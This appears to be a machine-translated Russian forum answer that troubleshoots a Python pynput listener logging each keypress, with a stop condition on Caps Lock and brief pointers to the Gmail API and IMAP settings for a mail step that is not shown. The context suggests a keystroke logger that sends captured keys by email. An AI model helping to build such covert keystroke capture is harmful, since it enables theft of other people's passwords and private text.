Итак, во-первых, вы не добавляли перерыв при запуске вызова слушателя, поэтому ваша программа застревает в этом цикле и не имеет критериев для выхода.
Попробуйте добавить точку останова в коде ниже
with Listener(on_press=on_press) as listener:
listener.join()
Вы можете добавить определенный символ в качестве точки останова или определенные строки в качестве точки останова.
Попытка использования Gmail API, если ваш код отправки почты не работает.
Документы Gmail API
Измените ваш файл в соответствии с кодом ниже:
def on_press(key):
logging.info(str(key))
def on_release(key):
logging.info('{0} release'.format(key))
if key == Key.caps_lock:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Вы можете найти больше информации, относящейся к вышеуказанному коду здесь
Если вы не можете получать почту, это может быть связано с тем, что вы не включили POP / IMAP. Выполните следующие шаги:
- Войдите в свой аккаунт Gmail
- Перейдите в настройки и нажмите «Пересылка» и «POP / IMAP».
- Включить IMAP в секции доступа IMAP.